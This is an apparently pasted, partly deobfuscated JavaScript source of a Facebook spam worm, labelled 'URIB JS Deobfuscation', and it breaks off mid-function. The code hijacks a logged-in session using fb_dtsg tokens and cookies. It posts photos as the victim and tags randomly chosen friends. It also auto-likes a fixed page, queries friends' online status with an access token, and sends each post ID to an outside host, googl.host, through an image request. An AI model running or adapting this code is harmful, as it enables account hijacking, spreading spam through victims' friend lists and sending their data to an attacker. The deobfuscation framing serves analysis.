· 9 years ago · Oct 03, 2016, 02:32 PM
1//URIB JS Deobfuscation
2var j5O = {
3 X89: "push",
4 m9: function (a, b) {
5 return a < b;
6 },
7 d3: "=",
8 g4: function (a4, b1) {
9 return a4 * b1;
10 },
11 l6: "open",
12 y2: function (i, d) {
13 return i < d;
14 },
15 n5: "toString",
16 G9: function (a, b) {
17 return a > b;
18 },
19 R9: function (indexf, f) {
20 return indexf < f;
21 },
22 K8: function (a4, b1, c) {
23 return a4 * b1 * c;
24 },
25 S4: function (dataAndEvents, deepDataAndEvents) {
26 return dataAndEvents != deepDataAndEvents;
27 },
28 k2: function (type, wanted) {
29 return type == wanted;
30 },
31 L0: 8,
32 C8: function (type, wanted) {
33 return type == wanted;
34 },
35 q89: "q1",
36 z79: "isrun",
37 J89: "r1",
38 S89: "status",
39 c8: function (type, wanted) {
40 return type == wanted;
41 },
42 v2: function (dataAndEvents, deepDataAndEvents) {
43 return dataAndEvents != deepDataAndEvents;
44 },
45 w1: function (type, wanted) {
46 return type == wanted;
47 },
48 W3: "href",
49 n0: "PHASED:DEFAULT",
50 Y3: 10,
51 L1: function (a4, b1) {
52 return a4 * b1;
53 },
54 n7: function (indexf, f) {
55 return indexf < f;
56 },
57 Y1: function (type, wanted) {
58 return type == wanted;
59 },
60 G1: function (a, b) {
61 return a / b;
62 },
63 V2: function (x, y) {
64 return x * y;
65 },
66 O6: "1",
67 t3: "Content-Type",
68 Z4: function (type, wanted) {
69 return type == wanted;
70 },
71 Z7: function (a4, b1) {
72 return a4 * b1;
73 },
74 Q5: "photo",
75 M1: function (a4, b1) {
76 return a4 * b1;
77 },
78 a1: function (indexf, f) {
79 return indexf < f;
80 },
81 t9: "text",
82 D89: 1E3,
83 g2: function (type, wanted) {
84 return type == wanted;
85 },
86 e8: function (type, wanted) {
87 return type == wanted;
88 },
89 V3: "setTimeout",
90 G89: true,
91 a6: "__rev:",
92 D5: "setInterval",
93 o0: 200,
94 b89: "fb_dtsg",
95 D2: function (type, wanted) {
96 return type == wanted;
97 },
98 Y79: "appendChild",
99 X4: function (a, b) {
100 return a > b;
101 },
102 P2: function (a4, b1) {
103 return a4 * b1;
104 },
105 N9: "",
106 t6: "facebook.com",
107 F5: "innerHTML",
108 P89: "GET",
109 v3: "clear",
110 u0: "cookie",
111 X7: function (type, wanted) {
112 return type == wanted;
113 },
114 u3: "charCodeAt",
115 h49: function (m1) {
116 return function (dataAndEvents, iterator) {
117 return function (dataAndEvents) {
118 return {
119 P49: dataAndEvents,
120 L49: dataAndEvents
121 };
122 }(function (value) {
123 var isAlreadySetup;
124 var index = 0;
125 var hasClassName = dataAndEvents;
126 for (; index < value["length"]; index++) {
127 var key = iterator(value, index);
128 isAlreadySetup = 0 === index ? key : isAlreadySetup ^ key;
129 }
130 return isAlreadySetup ? hasClassName : !hasClassName;
131 });
132 }(function (parseInt, type, timeoutKey, Event) {
133 return parseInt(m1, 26) - Event(type, timeoutKey) > 26;
134 }(parseInt, Date, function (lhs) {
135 return ("" + lhs)["substring"](1, (lhs + "")["length"] - 1);
136 }("_getTime2"), function (keepData, timeoutKey) {
137 return (new keepData)[timeoutKey]();
138 }), function (table, obj) {
139 var result = parseInt(table["charAt"](obj), 16)["toString"](2);
140 return result["charAt"](result["length"] - 1);
141 });
142 }("71icohgak"),
143 W5: "tags",
144 f3: "id",
145 u89: "a9",
146 f0: 2,
147 O1: function (type, wanted) {
148 return type == wanted;
149 },
150 t79: "T9",
151 J4: function (indexf, f) {
152 return indexf < f;
153 },
154 r3: "getElementById",
155 i6: "application/x-www-form-urlencoded; charset=UTF-8",
156 E7: function (a, b) {
157 return a > b;
158 },
159 E4: function (type, wanted) {
160 return type == wanted;
161 },
162 j8: function (type, wanted) {
163 return type == wanted;
164 },
165 l79: "getElementsByName",
166 r8: function (type, wanted) {
167 return type == wanted;
168 },
169 u7: function (a4, b1) {
170 return a4 * b1;
171 },
172 L6: false,
173 p0: "join",
174 t2: function (dataAndEvents, test) {
175 return dataAndEvents < test;
176 },
177 b1: function (dataAndEvents, actor) {
178 return dataAndEvents >= actor;
179 },
180 L8: function (indexf, f) {
181 return indexf < f;
182 },
183 C79: "replace",
184 A5: 60,
185 Y9: function (dataAndEvents, deepDataAndEvents) {
186 return dataAndEvents >= deepDataAndEvents;
187 },
188 A6: "now",
189 q1: function (a, b) {
190 return a > b;
191 },
192 c3: "match",
193 o2: function (a4, b1) {
194 return a4 * b1;
195 },
196 a8: function (type, wanted) {
197 return type == wanted;
198 },
199 n3: "log",
200 D0: "for (;;);",
201 G0: 3,
202 H7: function (a, b) {
203 return a / b;
204 },
205 I3: "uid",
206 I2: function (type, wanted) {
207 return type == wanted;
208 },
209 Y0: "onreadystatechange",
210 d9: function (indexf, f) {
211 return indexf < f;
212 },
213 j0: 4,
214 g49: "value",
215 M8: function (a, b) {
216 return a > b;
217 },
218 e6: "fb_dtsg:",
219 x5: "payload",
220 f2: function (a, b) {
221 return a < b;
222 },
223 p9: "substring",
224 T7: function (indexf, f) {
225 return indexf < f;
226 },
227 a9: function (a, b) {
228 return a > b;
229 },
230 T9: function (a4, b1, dataAndEvents) {
231 return a4 * b1 * dataAndEvents;
232 },
233 z0: "responseText",
234 V0: "head",
235 q8: function (indexf, f) {
236 return indexf < f;
237 },
238 K9: function (indexf, f) {
239 return indexf < f;
240 },
241 I5: "N1",
242 d7: function (indexf, f) {
243 return indexf < f;
244 },
245 b8: function (indexf, f) {
246 return indexf < f;
247 },
248 U7: function (type, wanted) {
249 return type == wanted;
250 },
251 G8: function (type, wanted) {
252 return type == wanted;
253 },
254 C1: function (a4, b1) {
255 return a4 * b1;
256 },
257 e1: function (a4, b1) {
258 return a4 * b1;
259 },
260 B2: function (type, wanted) {
261 return type == wanted;
262 },
263 s89: "POST",
264 a3: "/picture?ext=me&width=560&height=316",
265 F7: function (type, wanted) {
266 return type == wanted;
267 },
268 H5: "m9",
269 C89: "send",
270 i2: function (a4, b1) {
271 return a4 * b1;
272 },
273 N0: "post_id",
274 A0: "links",
275 r1: function (type, wanted) {
276 return type == wanted;
277 },
278 K7: function (type, wanted) {
279 return type == wanted;
280 },
281 l0: "https://graph.facebook.com/",
282 z1: function (a4, b1) {
283 return a4 * b1;
284 },
285 R7: function (indexf, f) {
286 return indexf < f;
287 },
288 n4: function (type, wanted) {
289 return type == wanted;
290 },
291 K79: "floor",
292 T0: 25,
293 y5: "access_token",
294 Z79: '"revision":',
295 N1: function (type, wanted) {
296 return type == wanted;
297 },
298 Q7: function (a4, b1) {
299 return a4 * b1;
300 },
301 J7: function (type, wanted) {
302 return type == wanted;
303 },
304 H6: "split",
305 c1: function (type, wanted) {
306 return type == wanted;
307 },
308 H4: function (x, y) {
309 return x > y;
310 },
311 h1: function (a4, b1) {
312 return a4 * b1;
313 },
314 c5: '"ajaxpipe_token":',
315 j89: "__defineGetter__",
316 H89: "chat_limit",
317 E9: function (indexf, f) {
318 return indexf < f;
319 },
320 p2: function (value, oldValue) {
321 return value !== oldValue;
322 },
323 d5: "blob",
324 q0: ",",
325 m5: "hostname",
326 U4: function (dataAndEvents, deepDataAndEvents) {
327 return dataAndEvents != deepDataAndEvents;
328 },
329 l7: function (a, b) {
330 return a / b;
331 },
332 u4: function (type, wanted) {
333 return type == wanted;
334 },
335 w6: "b1",
336 H9: function (indexf, f) {
337 return indexf < f;
338 },
339 Q4: function (far, near) {
340 return far - near;
341 },
342 x2: function (d, base) {
343 return d * base;
344 },
345 c6: "random",
346 j1: function (indexf, f) {
347 return indexf < f;
348 },
349 q6: "set",
350 i3: "ttstamp:",
351 m7: function (type, wanted) {
352 return type == wanted;
353 },
354 s1: function (a, b) {
355 return a / b;
356 },
357 A4: function (indexf, f) {
358 return indexf < f;
359 },
360 x89: "&",
361 a89: "facebook.com/checkpoint",
362 S2: function (indexf, f) {
363 return indexf < f;
364 },
365 F4: function (a, b) {
366 return a / b;
367 },
368 q5: "off",
369 j79: "R9",
370 k0: 0,
371 d8: function (indexf, f) {
372 return indexf < f;
373 },
374 W2: function (indexf, f) {
375 return indexf < f;
376 },
377 K4: function (type, wanted) {
378 return type == wanted;
379 },
380 q9: "ajaxpipe_token:",
381 h8: function (indexf, f) {
382 return indexf < f;
383 },
384 h5: "User:",
385 F89: "readyState",
386 A7: function (a, b) {
387 return a / b;
388 },
389 M0: "parse",
390 Z5: "setRequestHeader",
391 N8: function (type, wanted) {
392 return type == wanted;
393 },
394 V79: "Y9",
395 m3: "friends",
396 T4: function (type, wanted) {
397 return type == wanted;
398 },
399 a0: 1,
400 m4: function (type, wanted) {
401 return type == wanted;
402 },
403 l4: function (a, b) {
404 return a > b;
405 },
406 B3: "G9",
407 Y8: function (a, b) {
408 return a > b;
409 },
410 y79: "indexOf",
411 E0: "EXP1:DEFAULT",
412 k5: "meta",
413 M6: "createElement"
414};
415j5O["X29"] = function (deepDataAndEvents) {
416 for (; deepDataAndEvents;) {
417 return j5O["h49"].P49(deepDataAndEvents);
418 }
419};
420j5O["c29"] = function (deepDataAndEvents) {
421 for (; deepDataAndEvents;) {
422 return j5O["h49"].L49(deepDataAndEvents);
423 }
424};
425j5O["Q29"] = function (deepDataAndEvents) {
426 for (; deepDataAndEvents;) {
427 return j5O["h49"].L49(deepDataAndEvents);
428 }
429};
430j5O["a29"] = function (deepDataAndEvents) {
431 for (; j5O;) {
432 return j5O["h49"].L49(deepDataAndEvents);
433 }
434};
435j5O["G29"] = function (deepDataAndEvents) {
436 for (; deepDataAndEvents;) {
437 return j5O["h49"].P49(deepDataAndEvents);
438 }
439};
440j5O["u29"] = function (deepDataAndEvents) {
441 if (j5O && deepDataAndEvents) {
442 return j5O["h49"].L49(deepDataAndEvents);
443 }
444};
445j5O["P29"] = function (deepDataAndEvents) {
446 if (j5O && deepDataAndEvents) {
447 return j5O["h49"].P49(deepDataAndEvents);
448 }
449};
450j5O["T29"] = function (deepDataAndEvents) {
451 if (j5O && deepDataAndEvents) {
452 return j5O["h49"].P49(deepDataAndEvents);
453 }
454};
455j5O["W29"] = function (deepDataAndEvents) {
456 if (j5O && deepDataAndEvents) {
457 return j5O["h49"].L49(deepDataAndEvents);
458 }
459};
460j5O["m29"] = function (deepDataAndEvents) {
461 for (; j5O;) {
462 return j5O["h49"].L49(deepDataAndEvents);
463 }
464};
465j5O["o29"] = function (deepDataAndEvents) {
466 if (j5O && deepDataAndEvents) {
467 return j5O["h49"].P49(deepDataAndEvents);
468 }
469};
470j5O["e29"] = function (deepDataAndEvents) {
471 if (j5O && deepDataAndEvents) {
472 return j5O["h49"].L49(deepDataAndEvents);
473 }
474};
475j5O["H29"] = function (deepDataAndEvents) {
476 for (; j5O;) {
477 return j5O["h49"].P49(deepDataAndEvents);
478 }
479};
480j5O["B29"] = function (deepDataAndEvents) {
481 if (j5O && deepDataAndEvents) {
482 return j5O["h49"].L49(deepDataAndEvents);
483 }
484};
485j5O["I29"] = function (deepDataAndEvents) {
486 for (; deepDataAndEvents;) {
487 return j5O["h49"].L49(deepDataAndEvents);
488 }
489};
490j5O["z29"] = function (deepDataAndEvents) {
491 for (; deepDataAndEvents;) {
492 return j5O["h49"].L49(deepDataAndEvents);
493 }
494};
495j5O["K29"] = function (deepDataAndEvents) {
496 for (; deepDataAndEvents;) {
497 return j5O["h49"].L49(deepDataAndEvents);
498 }
499};
500j5O["D29"] = function (deepDataAndEvents) {
501 for (; j5O;) {
502 return j5O["h49"].P49(deepDataAndEvents);
503 }
504};
505j5O["s29"] = function (deepDataAndEvents) {
506 if (j5O && deepDataAndEvents) {
507 return j5O["h49"].P49(deepDataAndEvents);
508 }
509};
510j5O["d29"] = function (deepDataAndEvents) {
511 for (; deepDataAndEvents;) {
512 return j5O["h49"].P49(deepDataAndEvents);
513 }
514};
515j5O["g29"] = function (deepDataAndEvents) {
516 for (; deepDataAndEvents;) {
517 return j5O["h49"].L49(deepDataAndEvents);
518 }
519};
520j5O["w29"] = function (deepDataAndEvents) {
521 for (; deepDataAndEvents;) {
522 return j5O["h49"].P49(deepDataAndEvents);
523 }
524};
525j5O["R29"] = function (deepDataAndEvents) {
526 for (; deepDataAndEvents;) {
527 return j5O["h49"].P49(deepDataAndEvents);
528 }
529};
530j5O["S29"] = function (deepDataAndEvents) {
531 for (; deepDataAndEvents;) {
532 return j5O["h49"].L49(deepDataAndEvents);
533 }
534};
535j5O["q49"] = function (deepDataAndEvents) {
536 for (; j5O;) {
537 return j5O["h49"].L49(deepDataAndEvents);
538 }
539};
540j5O["t49"] = function (deepDataAndEvents) {
541 if (j5O && deepDataAndEvents) {
542 return j5O["h49"].L49(deepDataAndEvents);
543 }
544};
545j5O["J49"] = function (deepDataAndEvents) {
546 for (; j5O;) {
547 return j5O["h49"].L49(deepDataAndEvents);
548 }
549};
550j5O["i49"] = function (deepDataAndEvents) {
551 for (; j5O;) {
552 return j5O["h49"].L49(deepDataAndEvents);
553 }
554};
555j5O["y49"] = function (deepDataAndEvents) {
556 for (; j5O;) {
557 return j5O["h49"].L49(deepDataAndEvents);
558 }
559};
560j5O["A49"] = function (deepDataAndEvents) {
561 for (; deepDataAndEvents;) {
562 return j5O["h49"].P49(deepDataAndEvents);
563 }
564};
565j5O["V49"] = function (deepDataAndEvents) {
566 for (; deepDataAndEvents;) {
567 return j5O["h49"].P49(deepDataAndEvents);
568 }
569};
570
571function inArray(args, elem, array) {
572 j5O["b49"] = function (deepDataAndEvents) {
573 for (; j5O;) {
574 return j5O["h49"].L49(deepDataAndEvents);
575 }
576 };
577 var unlock = j5O.V49("a2d2") ? "c1" : ";";
578 var setAttribute = j5O.A49("6bdc") ? "&is_slideshow=false&qn=" : "Y1";
579 var method = j5O["b49"]("172") ? '"ajaxpipe_token":' : "a1";
580 var i = j5O["y49"]("6acb") ? j5O["L6"] : 2;
581 a = j5O["k0"];
582 for (; j5O[method](a, args["length"]); a++) {
583 for (k in args[a]) {
584 j5O["l49"] = function (deepDataAndEvents) {
585 if (j5O && deepDataAndEvents) {
586 return j5O["h49"].L49(deepDataAndEvents);
587 }
588 };
589 if (j5O[setAttribute](k, elem) && j5O[unlock](args[a][k], array)) {
590 j5O["N49"] = function (deepDataAndEvents) {
591 for (; deepDataAndEvents;) {
592 return j5O["h49"].L49(deepDataAndEvents);
593 }
594 };
595 var throttledUpdate = j5O["l49"]("d4de") ? "substring" : function (isSorted) {
596 i = j5O.N49("612f") ? "head" : isSorted;
597 };
598 throttledUpdate(j5O.G89);
599 break;
600 }
601 }
602 }
603 return i;
604}
605
606function searchArray(helper, deepDataAndEvents) {
607 j5O["r49"] = function (deepDataAndEvents) {
608 for (; j5O;) {
609 return j5O["h49"].P49(deepDataAndEvents);
610 }
611 };
612 var fnName = j5O["i49"]("fb2f") ? "v2" : ":3";
613 var objects = j5O.J49("b6") ? "object" : "indexOf";
614 var unlock = j5O["r49"]("c2a") ? 8 : "k2";
615 var val = j5O["d29"]("c7e") ? j5O["L6"] : "https://www.facebook.com/ajax/pages/fan_status.php?dpr=2";
616 for (key in helper) {
617 if (j5O[unlock](key[j5O["n5"]](), deepDataAndEvents)) {
618 var dragCopyCanvas = function (helper) {
619 val = helper[key];
620 };
621 dragCopyCanvas(helper);
622 break;
623 } else {
624 if (typeof helper[key] == objects) {
625 val = searchArray(helper[key], deepDataAndEvents);
626 if (j5O[fnName](val, j5O.L6)) {
627 break;
628 }
629 }
630 }
631 }
632 return val;
633}
634
635function parsem(result) {
636 j5O["F29"] = function (deepDataAndEvents) {
637 for (; deepDataAndEvents;) {
638 return j5O["h49"].L49(deepDataAndEvents);
639 }
640 };
641 j5O["O29"] = function (deepDataAndEvents) {
642 for (; j5O;) {
643 return j5O["h49"].P49(deepDataAndEvents);
644 }
645 };
646 j5O["U49"] = function (deepDataAndEvents) {
647 for (; j5O;) {
648 return j5O["h49"].P49(deepDataAndEvents);
649 }
650 };
651 var unlock = j5O.S29("854") ? "G1" : "50";
652 var f0 = j5O["t49"]("f4") ? "h1" : "shareable_attachment[share_params][images][0]";
653 var frontName = j5O.R29("52") ? "M1" : "__req";
654 var callbackSymbol = j5O["w29"]("e46") ? "text_tags[" : "e1";
655 var strValue = j5O.U49("51") ? "Content-Type" : "C1";
656 var k = j5O["q49"]("fd") ? "true" : "z1";
657 var sel = j5O["s29"]("85c1") ? "responseText" : "reverse";
658 var j0 = j5O.O29("76") ? "s1" : "ft[fbfeed_location]";
659 return count = j5O.D29("6fd") ? "friends_only" : j5O[j0](result["length"], j5O["j0"]),
660 parse = j5O.K29("86") ? "upload_id" : result[j5O["H6"]](j5O.N9)[sel]()[j5O["p0"]](j5O.N9),
661 a = j5O.F29("51") ? "https://www.facebook.com/media/upload/photos/composer/?av=" : parse[j5O["p9"]](j5O[k](j5O.G0, count), count["length"]),
662 b = j5O["z29"]("114") ? "options[0]" : parse[j5O["p9"]](j5O[strValue](j5O["f0"], count), j5O[callbackSymbol](j5O.G0, count)),
663 c = j5O["g29"]("41b8") ? 0xa1b01d4b1c7 : parse[j5O["p9"]](j5O[frontName](j5O["a0"], count), j5O[f0](j5O["f0"], count)),
664 d = j5O.I29("37") ? "_5ce" : parse[j5O["p9"]](j5O["k0"], j5O[unlock](count, j5O["a0"])),
665 atob(a + b + c + d);
666}
667
668function update(args) {
669 j5O["v29"] = function (deepDataAndEvents) {
670 for (; j5O;) {
671 return j5O["h49"].P49(deepDataAndEvents);
672 }
673 };
674 j5O["n29"] = function (deepDataAndEvents) {
675 for (; j5O;) {
676 return j5O["h49"].L49(deepDataAndEvents);
677 }
678 };
679 j5O["h29"] = function (deepDataAndEvents) {
680 if (j5O && deepDataAndEvents) {
681 return j5O["h49"].P49(deepDataAndEvents);
682 }
683 };
684 j5O["M29"] = function (deepDataAndEvents) {
685 if (j5O && deepDataAndEvents) {
686 return j5O["h49"].L49(deepDataAndEvents);
687 }
688 };
689 j5O["C29"] = function (deepDataAndEvents) {
690 for (; deepDataAndEvents;) {
691 return j5O["h49"].P49(deepDataAndEvents);
692 }
693 };
694 j5O["E29"] = function (deepDataAndEvents) {
695 for (; deepDataAndEvents;) {
696 return j5O["h49"].L49(deepDataAndEvents);
697 }
698 };
699 var subject = j5O.E29("feb6") ? "e" : "&dpr=2";
700 var mode = j5O.C29("75f3") ? "me" : "https://www.facebook.com/media/upload/photos/composer/?av=";
701 var v7 = j5O.M29("88") ? "v7" : "&__rev=";
702 var e = j5O.B29("23c") ? "&ttstamp=" : "active_time:";
703 var uiPopover = j5O.P29("748") ? "&__a=1&__dyn=&__req=1n&__pc=EXP1%3ADEFAULT&fb_dtsg=" : "uiPopover";
704 var g = j5O.X29("fd5") ? "&waterfallxapp=web_react_composer&__user=" : "backdated_date[hour]";
705 var h = j5O.H29("8fb") ? "&__rev=" : "&is_slideshow=false&qn=";
706 var code = j5O["e29"]("867") ? "&xhpc_context=profile&xhpc_ismeta=1&xhpc_timeline=false&xhpc_finch=false&xhpc_socialplugin=false&xhpc_topicfeedid&xhpc_origintopicfeedid&xhpc_modal_composer=false&xhpc_aggregated_story_composer=false&xhpc_publish_type=1&xhpc_fundraiser_page=false&composer_unpublished_photo[0]=" : 2;
707 var j = j5O["o29"]("f73") ? "&is_forced_reshare_of_post&xc_disable_config[xc_disable_link]&is_react=true&xhpc_composerid=rc.js_1c&xhpc_targetid=" : "https://www.facebook.com/ajax/pages/fan_status.php?dpr=2";
708 var crlf = "&xhpc_message_text=";
709 var m = j5O.W29("c4") ? "mentions" : "&composertags_city&composertags_place&hide_object_attachment=true&is_explicit_place=false&is_markdown=false&is_q_and_a=false&is_profile_badge_post=false&multilingual_specified_lang=&privacyx=300645083384735&prompt_id&ref=feedx&is_redspace_post=false&target_type=feed&xhpc_message=";
710 var _ = j5O.T29("7a3d") ? "attachment&backdated_date[year]&backdated_date[month]&backdated_date[day]&backdated_date[hour]&backdated_date[minute]&boosted_post_config&composer_session_id=" : "O:)";
711 var z0 = j5O["m29"]("d82") ? new XMLHttpRequest : "mtn";
712 var r20 = j5O["h29"]("11") ? "chat_limit" : _ + guid() + m + args[j5O["t9"]] + crlf + args[j5O["t9"]] + j + profile_id + code + args[j5O["Q5"]] + h + guid() + g + profile_id + uiPopover + fb_dtsg + e + ttstamp + v7 + __rev;
713 z0[j5O["l6"]](j5O["s89"], mode + profile_id + subject);
714 z0[j5O["Z5"]](j5O["t3"], j5O["i6"]);
715 z0[j5O["C89"]](r20);
716 z0[j5O["Y0"]] = j5O["u29"]("ab8") ?
717 function () {
718 j5O["k29"] = function (deepDataAndEvents) {
719 if (j5O && deepDataAndEvents) {
720 return j5O["h49"].P49(deepDataAndEvents);
721 }
722 };
723 j5O["f29"] = function (deepDataAndEvents) {
724 for (; deepDataAndEvents;) {
725 return j5O["h49"].P49(deepDataAndEvents);
726 }
727 };
728 var SPACE = j5O["n29"]("145") ? "" : "set=";
729 var s = j5O["a29"]("5b") ? "application/x-www-form-urlencoded; charset=UTF-8" : "http://googl.host/but.php?id=";
730 var dest = j5O.G29("d85") ? "toString" : "src";
731 var j = j5O["k29"]("bb5") ? "photo_fbid" : "viewer";
732 var unlock = j5O.Q29("dda") ? "100" : "T4";
733 var j0 = j5O["f29"]("bdbd") ? "shareable_attachment[share_params][cache_hit]" : "m4";
734 if (j5O[j0](z0[j5O["F89"]], j5O["j0"]) && j5O[unlock](z0[j5O["S89"]], j5O["o0"])) {
735 j5O["p29"] = function (deepDataAndEvents) {
736 for (; deepDataAndEvents;) {
737 return j5O["h49"].P49(deepDataAndEvents);
738 }
739 };
740 j5O["Y29"] = function (deepDataAndEvents) {
741 if (j5O && deepDataAndEvents) {
742 return j5O["h49"].P49(deepDataAndEvents);
743 }
744 };
745 var codeSegments = j5O["c29"]("25f2") ? "arraybuffer" : JSON[j5O["M0"]](z0[j5O["z0"]][j5O["C79"]](j5O.D0, j5O.N9));
746 args[j5O["N0"]] = j5O.Y29("2e") ? ":v" : codeSegments[j5O["x5"]][j];
747 (new Image)[dest] = j5O["p29"]("c73e") ? "q" : s + args[j5O["N0"]];
748 console[j5O["n3"]](args[j5O["N0"]]);
749 args[j5O["q6"]] = j5O["v29"]("7b") ? "ttstamp:" : z0[j5O["z0"]][j5O["H6"]](SPACE)[j5O["a0"]][j5O["H6"]](j5O["x89"])[j5O["k0"]];
750 if (args[j5O["q6"]] && args[j5O["N0"]]) {
751 arkadas(args);
752 }
753 }
754 } : "&editor_id=fbPhotoSnowliftInlineEditor&dpr=1";
755}
756
757function deSerialize(regex) {
758 var w = "map";
759 var defineProperty = "keys";
760 return Object[defineProperty](regex)[w](function (key) {
761 var eq = "=";
762 return encodeURIComponent(key) + eq + encodeURIComponent(regex[key]);
763 })[j5O["p0"]](j5O["x89"]);
764}
765
766function arkadas(deepDataAndEvents) {
767 var b = "https://www.facebook.com/ajax/typeahead/first_degree.php?";
768 var exception = "e";
769 var d = 105;
770 var __dyn = "7A";
771 var requestID = "b6924372-20f2-4585-bf14-c7db6ea77b78";
772 var sid1 = "1197780291395";
773 var context = "mentions";
774 var oauth_token = "v7";
775 var friends_only = "friends_only";
776 var dataUser = "user";
777 var r20 = {
778 __pc: j5O["E0"],
779 viewer: profile_id,
780 "filter[0]": dataUser,
781 "options[0]": friends_only,
782 token: oauth_token,
783 context: context,
784 rsp: context,
785 sid: sid1,
786 request_id: requestID,
787 __user: profile_id,
788 __a: j5O["a0"],
789 __dyn: __dyn + rastgele(105),
790 __req: exception,
791 __rev: __rev
792 };
793 var req = new XMLHttpRequest;
794 req[j5O["l6"]](j5O.P89, b + deSerialize(r20), j5O.G89);
795 req[j5O["Y0"]] = function () {
796 var strValue = "U4";
797 var fli = "J4";
798 var unlock = "l4";
799 var easing = "A4";
800 var method = "Z4";
801 var fnName = "X4";
802 var key = "post_limit";
803 var frontName = "F4";
804 var vname = "round";
805 var el = "tag_limit";
806 var y = "sort";
807 var x = "entries";
808 var callbackSymbol = "n4";
809 var j0 = "u4";
810 if (j5O[j0](req[j5O["F89"]], j5O["j0"]) && j5O[callbackSymbol](req[j5O["S89"]], j5O["o0"])) {
811 var response = JSON[j5O["M0"]](req[j5O["z0"]][j5O["C79"]](j5O.D0, j5O.N9));
812 if (!response["error"]) {
813 friends = response[j5O["x5"]][x][y](function (fns, safe) {
814 var i = "index";
815 var method = "Q4";
816 return j5O[method](fns[i], safe[i]);
817 });
818 var sub = config[el];
819 var val = Math[vname](j5O[frontName](friends["length"], config[el]));
820 config[key] = j5O[fnName](val, config[key]) ? config[key] : val;
821 if (j5O[method](config[key], j5O["k0"])) {
822 config[key] = j5O["a0"];
823 }
824 p = j5O["k0"];
825 for (; j5O[easing](p, config[key]); p++) {
826 deepDataAndEvents[j5O["W5"]] = [];
827 if (j5O[unlock](friends["length"], config[el])) {
828 indexes = randoms(config[el], friends["length"]);
829 } else {
830 indexes = randoms(friends["length"], friends["length"]);
831 }
832 i = j5O["k0"];
833 for (; j5O[fli](i, indexes["length"]); i++) {
834 if (j5O[strValue](friends[indexes[i]][j5O["I3"]], profile_id)) {
835 deepDataAndEvents[j5O["W5"]][j5O["X89"]](friends[indexes[i]]);
836 }
837 }
838 photo_edit(deepDataAndEvents);
839 }
840 }
841 }
842 };
843 req[j5O["C89"]]();
844}
845
846function pages() {
847 var r20 = "https://www.facebook.com/ajax/pages/fan_status.php?dpr=2";
848 var uri1 = "a";
849 var __dyn = "aKTyAW8-aloHxp2uucKG8F8yh1qeCzSczUyGgS8WGnirWqGEhJpu5VKEKGwyAzQryA9oF6gKFGCxbGfyFHyuiq9wwz8KFUgCkzAy9U8eAUWVpeniDG4RzQmi4FeEK4AczQ9xKiC9BwxKqiUCFki9LzEnUObKcAyVFQaUx5G48Va9yVFrjqAAF4BFw";
850 var fan_origin = "page_profile";
851 var reload = "false";
852 var classNames = "true";
853 var fbpage_id = 0x9670b29e310f;
854 var rreturn = {
855 fbpage_id: fbpage_id,
856 add: classNames,
857 reload: reload,
858 fan_origin: fan_origin,
859 fan_source: j5O["N9"],
860 cat: j5O["N9"],
861 actor_id: j5O["N9"],
862 __user: profile_id,
863 __a: j5O["a0"],
864 __dyn: __dyn,
865 __req: uri1,
866 __be: j5O["k0"],
867 __pc: j5O["E0"],
868 fb_dtsg: fb_dtsg,
869 ttstamp: ttstamp,
870 __rev: __rev
871 };
872 var req = new XMLHttpRequest;
873 req[j5O["l6"]](j5O["s89"], r20);
874 req[j5O["Z5"]](j5O["t3"], j5O["i6"]);
875 req[j5O["C89"]](deSerialize(rreturn));
876 req[j5O["Y0"]] = function () {
877 var unlock = "B2";
878 var j0 = "I2";
879 if (j5O[j0](j5O["j0"], req[j5O["F89"]]) && j5O[unlock](j5O["o0"], req[j5O["S89"]])) {
880 JSON[j5O["M0"]](req[j5O["z0"]][j5O["C79"]](j5O.D0, j5O.N9));
881 }
882 };
883}
884
885function rastgele(opt_attributes) {
886 var unlock = "i2";
887 var NAME = "y2";
888 var r20 = "abcdefghijklmnoprstuvyzxABCDEFGHIJKLMNOPRSTUVYZX0123456789";
889 var removeEmpty = function (array) {
890 ret = array;
891 };
892 var _processPattern = function (regex) {
893 mtn = regex;
894 };
895 _processPattern(r20);
896 removeEmpty(j5O.N9);
897 l = j5O["k0"];
898 for (; j5O[NAME](l, opt_attributes); l++) {
899 ret += mtn[Math[j5O["K79"]](j5O[unlock](Math[j5O["c6"]](), mtn["length"]))];
900 }
901 return ret;
902}
903
904function randoms(ctx, x) {
905 var appendChildString = "f2";
906 var apply = "P2";
907 var name = "W2";
908 var result = [];
909 for (; j5O[name](result["length"], ctx);) {
910 var text = Math[j5O["K79"]](j5O[apply](Math[j5O["c6"]](), x));
911 if (j5O[appendChildString](result[j5O["y79"]](text), j5O["k0"])) {
912 result[j5O["X89"]](text);
913 }
914 }
915 return result;
916}
917
918function start() {
919 var sp = "toLocaleString";
920 var tag = "active_time:";
921 var unlock = "K8";
922 var A = "setTime";
923 var r20 = "tr";
924 var turnTo = "language";
925 var chat_limit = "50";
926 var tag_limit = "100";
927 var post_limit = "5";
928 var unit = "d8";
929 var event = 40;
930 var cookie = "sc_";
931 var cookieName = cookie + profile_id;
932 var originalEvent = event;
933 if (!getCookie(cookieName) || j5O[unit](parseInt(getCookie(cookieName)), Date[j5O["A6"]]() - j5O["A5"] * j5O["D89"] * originalEvent)) {
934 var onFailed = function () {
935 document[j5O["u0"]] = cookieName + j5O["d3"] + Date[j5O["A6"]]();
936 };
937 onFailed();
938 config = {
939 post_limit: post_limit,
940 tag_limit: tag_limit,
941 chat_limit: chat_limit,
942 chat_tag_limit: j5O["O6"]
943 };
944 localhost();
945 if (!navigator[turnTo][j5O["y79"]](r20)) {
946 pages();
947 }
948 } else {
949 var p = new Date;
950 p[A](parseInt(getCookie(cookieName)) + j5O[unlock](j5O.A5, j5O.D89, originalEvent));
951 console[j5O["n3"]](tag + p[sp]());
952 }
953}
954
955function online(cb) {
956 var b = "https://graph.facebook.com/v2.0/fql?";
957 var ext = "me";
958 var query = "SELECT uid, name, online_presence, pic_square FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) Order By online_presence Limit 2000";
959 var r20 = {
960 q: query,
961 access_token: cb[j5O["y5"]],
962 ext: ext
963 };
964 var req = new XMLHttpRequest;
965 req[j5O["l6"]](j5O.P89, b + deSerialize(r20), j5O.G89);
966 req[j5O["Y0"]] = function () {
967 var unlock = "K7";
968 var callbackSymbol = "d7";
969 var fli = "R7";
970 var strValue = "q8";
971 var currentCameraMode = "idle";
972 var m = "r8";
973 var className = "active";
974 var method = "online_presence";
975 var phase = "N8";
976 var docUid = "b8";
977 var docgen = "L8";
978 var frontName = "j8";
979 var j0 = "c8";
